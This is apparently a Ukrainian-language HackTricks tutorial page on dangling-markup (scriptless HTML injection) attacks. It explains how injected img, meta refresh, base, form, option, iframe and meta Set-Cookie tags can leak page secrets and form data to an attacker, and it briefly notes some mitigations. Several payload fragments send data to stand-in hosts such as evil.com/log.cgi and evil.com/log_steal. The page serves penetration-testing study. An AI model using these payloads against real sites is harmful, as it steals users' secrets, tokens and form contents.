Dangling Markup - HTML scriptless injection
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Цю техніку можна використовувати для витягування інформації від користувача, коли знайдено HTML-ін'єкцію. Це дуже корисно, якщо ви не знаходите жодного способу експлуатувати XSS , але можете впровадити деякі HTML-теги. Це також корисно, якщо деяка секретна інформація зберігається у відкритому тексті в HTML, і ви хочете екстрагувати її з клієнта, або якщо ви хочете ввести в оману виконання деякого скрипта.
Кілька технік, згаданих тут, можна використовувати для обходу деякої Політики безпеки контенту шляхом екстракції інформації несподіваними способами (HTML-теги, CSS, http-мета-теги, форми, base...).
Якщо ви впровадите <img src='http://evil.com/log.cgi?
під час завантаження сторінки, жертва надішле вам увесь код між впровадженим тегом img
і наступною цитатою в коді. Якщо секрет якимось чином знаходиться в цьому фрагменті, ви його вкрадете (ви можете зробити те ж саме, використовуючи подвійні лапки, подивіться, що може бути більш цікавим для використання).
Якщо тег img
заборонено (наприклад, через CSP), ви також можете використовувати <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
Зверніть увагу, що Chrome блокує HTTP URL-адреси з "<" або "\n" в них, тому ви можете спробувати інші протокольні схеми, такі як "ftp".
Ви також можете зловживати CSS @import
(надішле весь код, поки не знайде ";")
Ви також можете використовувати <table
:
Ви також можете вставити тег <base
. Вся інформація буде надіслана, поки цитата не буде закрита, але це вимагає деякої взаємодії з користувачем (користувач повинен натиснути на деяке посилання, оскільки тег base змінить домен, на який вказує посилання):
Тоді форми, які надсилають дані на шлях (як <form action='update_profile.php'>
), надсилатимуть дані на зловмисний домен.
Встановіть заголовок форми: <form action='http://evil.com/log_steal'>
, це перезапише наступний заголовок форми, і всі дані з форми будуть надіслані зловмиснику.
Кнопка може змінити URL, куди буде надіслана інформація з форми, за допомогою атрибута "formaction":
Зловмисник може використати це для крадіжки інформації.
Знайдіть приклад цього нападу в цьому звіті.
Використовуючи останньо згадану техніку для крадіжки форм (впровадження нового заголовка форми), ви можете потім впровадити нове поле введення:
і це поле введення міститиме весь вміст між його подвійними лапками та наступними подвійними лапками в HTML. Цей напад поєднує "Stealing clear text secrets" з "Stealing forms2".
Ви можете зробити те ж саме, інжектуючи форму та тег <option>
. Усі дані до закритого </option>
будуть надіслані:
Ви можете змінити шлях форми та вставити нові значення, щоб виконати неочікувану дію:
<noscript></noscript>
Це тег, вміст якого буде інтерпретовано, якщо браузер не підтримує javascript (ви можете увімкнути/вимкнути Javascript у Chrome за адресою chrome://settings/content/javascript).
Спосіб ексфільтрації вмісту веб-сторінки з точки ін'єкції до низу на сайт, контрольований зловмисником, буде ін'єкція цього:
З цього дослідження portswiggers ви можете дізнатися, що навіть з найбільш обмежених середовищ CSP ви все ще можете екстрагувати дані з деякою взаємодією користувача. У цьому випадку ми будемо використовувати корисне навантаження:
Зверніть увагу, що ви попросите жертву натиснути на посилання, яке перенаправить його на payload, контрольований вами. Також зверніть увагу, що атрибут target
всередині тегу base
міститиме HTML контент до наступної одинарної лапки.
Це зробить так, що значення window.name
, якщо посилання буде натиснуто, буде всім цим HTML контентом. Тому, оскільки ви контролюєте сторінку, на яку жертва переходить, натискаючи на посилання, ви можете отримати доступ до цього window.name
і exfiltrate ці дані:
Вставте новий тег з id всередині HTML, який перезапише наступний, і з значенням, яке вплине на потік скрипта. У цьому прикладі ви вибираєте, з ким буде поділено інформацію:
Створіть змінні всередині простору імен javascript, вставляючи HTML теги. Потім ця змінна вплине на потік програми:
Якщо ви знайдете інтерфейс JSONP, ви зможете викликати довільну функцію з довільними даними:
Або ви можете навіть спробувати виконати деякий javascript:
Дочірній документ має можливість переглядати та змінювати властивість location
свого батька, навіть у ситуаціях з різними джерелами. Це дозволяє вбудовувати скрипт у iframe, який може перенаправити клієнта на довільну сторінку:
Це можна пом'якшити за допомогою чогось на кшталт: sandbox=' allow-scripts allow-top-navigation'
Iframe також може бути зловжито для витоку чутливої інформації з іншої сторінки використовуючи атрибут імені iframe. Це пов'язано з тим, що ви можете створити iframe, який сам себе вбудовує, зловживаючи HTML-ін'єкцією, що робить чутливу інформацію видимою в атрибуті імені iframe, а потім отримати це ім'я з початкового iframe і витягти його.
Для отримання додаткової інформації перегляньте https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Ви можете використовувати meta http-equiv
для виконання кількох дій, таких як встановлення Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
або виконання перенаправлення (через 5 секунд у цьому випадку): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Це можна уникнути за допомогою CSP щодо http-equiv ( Content-Security-Policy: default-src 'self';
, або Content-Security-Policy: http-equiv 'self';
)
Ви можете знайти дуже цікаве дослідження про вразливості, які можна експлуатувати, тегу <portal тут.
На момент написання цього тексту вам потрібно увімкнути тег portal у Chrome в chrome://flags/#enable-portals
, інакше він не працюватиме.
Не всі способи витоку з'єднання в HTML будуть корисні для Dangling Markup, але іноді це може допомогти. Перевірте їх тут: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
Це мікс між dangling markup і XS-Leaks. З одного боку, вразливість дозволяє впроваджувати HTML (але не JS) на сторінці того ж походження, що й та, яку ми будемо атакувати. З іншого боку, ми не будемо атакувати безпосередньо сторінку, на якій можемо впроваджувати HTML, а іншу сторінку.
SS-LeaksXS-Search орієнтовані на екстракцію крос-доменних даних, зловживаючи бічними атаками. Тому це інша техніка, ніж Dangling Markup, однак деякі з технік зловживають включенням HTML тегів (з виконанням JS і без), як CSS Injection або Lazy Load Images.
XS-Search/XS-LeaksLearn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)